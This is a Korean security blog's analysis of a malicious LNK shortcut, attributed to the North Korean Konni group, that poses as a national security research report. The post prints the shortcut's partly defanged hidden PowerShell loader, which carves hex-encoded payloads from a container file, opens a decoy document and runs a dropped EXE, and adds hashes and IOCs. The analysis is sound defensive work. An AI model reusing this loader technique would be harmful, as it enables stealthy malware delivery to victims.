오늘은 북한 해킹 단체인 코니(Konni) 에서 만든 악성코드인 국가안보연보고서2 에 대해서 알아보겠습니다. 해당 악성코드는 국가안보전략연구원 쪽 2025년 12월 26일에 나온 것을 돼 있으며 제목은 북한 노동당 제9차 대회 예상되는 경제 정책 변화 전망으로 돼 있으며 탈북자 출신 1호 박사님 이름으로 돼 있는 악성코드입니다.
파일명:국가안보연보고서2.hwp.lnk
사이즈:3 MB
MD5:6b5d31a3d90b764b78c9cdfac2656d5c
SHA-1:cb5db685f1f88ac1926ca493b13194de0f84d4a2
SHA-256:b3096199a4e7ee7a51147d734fd107e2cf8fac01c4e642c9b35b7185957721b9
PowerShell 내용

StringData
{
namestring: not present
relativepath: not present
workingdir: not present
commandlinearguments: -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$loc=
Get-Loc(t)ion;$paths=@($env:TE?P,$loc);$sz=2116(1)16;$f=Get-ChildItem -Path $path
s -Recurse *.* -File -ErrorAction SilentlyContinue | Where-Object{$_.Length-eq $s
} | Select-Object -First 1 -Expand FullName;$raw=[IO(.)File]::R?adAllBytes($f);$
t=[Text.Encoding]::ASCII.GetString($raw);$a=$t.IndexOf('N?FO');$b=$t.IndexOf('BC
FO');$c=$t.IndexOf('SCFO');$d=$t.IndexOf('KCFO');$x=$t.Sub?tring($a+4,$b-$a-4);$
y=$t.Substring($b+4,$c-$b-4);$z=$t.Substring($c+4,($)(d)-$c-4);function HX($s){$
bu(f)=New-Object byte[] ($s.Length/2);for($(i)=0;$i-lt$buf.Length;$i++){$buf[$i]
=[Convert]::ToByte($s.Substring($i*2,2),16)}return $buf}[IO.File]::WriteAllBytes('c
:\users\public(\)attach(.)hwp',(HX $x));Start-Process 'c:\users\public\attach(.)hwp
';[IO.File]::WriteAllBytes('c(:)\programdata\heidi(.)db',(HX $y));[IO.File]::WriteA
llBytes('c:\programdata\heidisqls(.)exe',(HX $z));c:\programdata\heidisqls.exe c:\p
rogramdata\heidi.db"
iconlocation: C:\Windows\System32\shell32(.)dll
}
악성코드 분석
1. 사용자 몰래 실행
-WindowStyle Hidden:콘솔 창 숨김
-ExecutionPolicy Bypass:PowerShell 실행 정책 우회
-Command ...:바로 뒤에 이어지는 스크립트를 바로 실행->사용자가 클릭해도 화면에 보이지 않게 실행을 하려고 하는 목적
2. 특정 크기의 파일을 찾아서 컨테이너로 사용
검색 위치: %TEMP%와 현재 작업 폴더(Get-Location)
검색 조건: 파일 크기가 정확히 2,116,116 바이트인 파일 1개를 찾음
찾은 파일을 $f로 지정

3.컨테이너 파일에서 특정 문자열(마커)로 구간을 나눔
컨테이너(2,116,116 바이트짜리 파일)를 통째로 읽고 ASCII 문자열로 변환하고 다음 마커들을 찾음
NCFO
BCFO
SCFO
KCFO
그리고 마커 사이의 내용을 잘라서 3개 조각으로 분리
$x =NCFO 와 BCFO 사이
$y =BCFO 와 SCFO 사이
$z =SCFO 와 KCFO 사이

4. 잘라낸 문자열을 16진수로 읽어서 바이너리로 복원
$x, $y, $z 는 16진수 텍스트일 때 이를 실제 바이너리 바이트로 변환함
5.파일 3개를 드롭해서 문서 열고, EXE 실행
결과적으로 디스크에 아래의 파일 생성
생성되는 파일 위치
C:\Users\Public\attach.hwp
생성 후 바로 열기(Start-Process)
미끼(Decoy) 문서 역할
C:\ProgramData\heidi.db
C:\ProgramData\heidisqls.exe
heidisqls.exe 를 실행하면서 heidi.db 를 인자로 전달 함
공격 흐름
사용자가 LNK(바로 가기) 을 클릭
PowerShell 실행
TEMP/현재 폴더에서 정해진 크기(2,116,116B) 파일을 찾아 컨테이너로 삼음
해당 컨테이너에서 NCFO/BCFO/SCFO/KCFO 마커로 구간을 나눠 3개 바이너리를 복원
미끼 HWP를 열어 사용자를 안심시키는 동안 heidisqls.exe 를 실행해 실제 악성 동작 수행
IOC
생성/실행 파일 경로
C:\Users\Public\attach.hwp
C:\ProgramData\heidi.db
C:\ProgramData\heidisqls.exe
이렇게 동작을 하면 RoKRAT 에 가깝지 않을까? 생각이 됩니다.
'소프트웨어 팁 > 보안 및 분석' 카테고리의 다른 글
| 정체를 알수 없는 APT 악성코드-productrequirements.pdf (0) | 2026.01.22 |
|---|---|
| 긴급 윈도우 11 업데이트로 시스템 종료 및 원격 데스크톱 오류 해결 (0) | 2026.01.21 |
| 파이어폭스 147.0 보안 업데이트 (0) | 2026.01.20 |
| 윈도우 11 KB5074109,KB5073455,윈도우 10 KB5073724 보안 업데이트 (0) | 2026.01.17 |
| 암호화폐 탙취 목적 Kimsuky(김수키)에서 Base64 를 악용한 악성코드-1.log (0) | 2026.01.09 |
| 김수키(Kimsuky)에서 만든 국세청 사칭 이메일 분석(2025.12.10) (0) | 2026.01.08 |
| 북한 김수키(Kimsuky) VBScript 제작된 악성코드-1.vba (2) | 2026.01.05 |
| 김수키(Kimsuky) WScript.Shell을 악용한 악성코드-w83615.tmp (0) | 2026.01.02 |





